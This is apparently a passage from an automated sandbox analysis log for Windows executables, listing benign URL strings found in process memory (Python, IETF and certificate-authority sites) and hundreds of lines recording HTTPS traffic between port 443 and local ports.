Source: pw.exe, 0000000E.00000003.1770027736.0000000001BE7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1772486296.0000000001BF0000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1773146814.0000000001BFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ietf.org/rfc/rfc4627.txt
Source: vUlh7stUHJ.exe, 00000000.00000003.1424826286.000001F676774000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.openssl.org/H
Source: pw.exe, 0000000E.00000003.1681044355.0000000000F23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.or
Source: pw.exe, 0000000E.00000003.1710372097.0000000001C04000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1750591706.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1712031431.0000000001C22000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1792861657.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1725566555.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1689155922.0000000001C24000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1772486296.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1722796605.0000000001C1B000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1686789187.0000000001C21000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1684434263.0000000001C12000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1728121417.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1688845853.0000000001C22000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1701616869.0000000001C05000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1752628970.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1694017930.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1717870863.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1705665117.0000000001C22000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1741627516.0000000001C0A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1777008498.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1700531805.0000000001C13000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1743614888.0000000001C19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org
Source: pw.exe, 0000000E.00000003.1754433437.0000000003F44000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1755079197.0000000003F32000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1754383727.0000000001D04000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1754252598.0000000003FE6000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1753165612.0000000003F43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/
Source: pw.exe, 0000000E.00000003.1689231973.0000000001DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/dev/peps/pep-0205/
Source: pw.exe, 0000000E.00000003.1652694422.0000000000F1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/psf/license/
Source: pw.exe, 0000000E.00000003.1652694422.0000000000F32000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1652694422.0000000000F1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/psf/license/)
Source: pw.exe, 0000000E.00000003.1724923193.0000000001CC2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1740369767.0000000002146000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1723803786.0000000001D34000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1792578513.0000000002360000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1725199371.0000000001CC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.rfc-editor.org/rfc/rfc8259#section-8.1
Source: pw.exe, 0000000E.00000003.1792578513.0000000002360000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwww.certigna.fr/autorites/0m
Source: pw.exe, 0000000E.00000003.1770979143.0000000000F03000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1745421013.0000000001D39000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1741676886.0000000001BE3000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1741929759.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1752365430.00000000023A2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1749591995.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1748684647.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1748000091.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1743102013.0000000001DB7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1743614888.0000000001BFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1769890225.00000000023A1000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1792578513.0000000002360000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1780050871.0000000000F02000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1747881190.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1759137366.0000000002392000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1746314680.00000000023A2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1747596411.0000000001D39000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1781413086.0000000000F02000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1754016538.00000000023A2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1776093310.0000000000F04000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1773323552.0000000000F04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yahoo.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
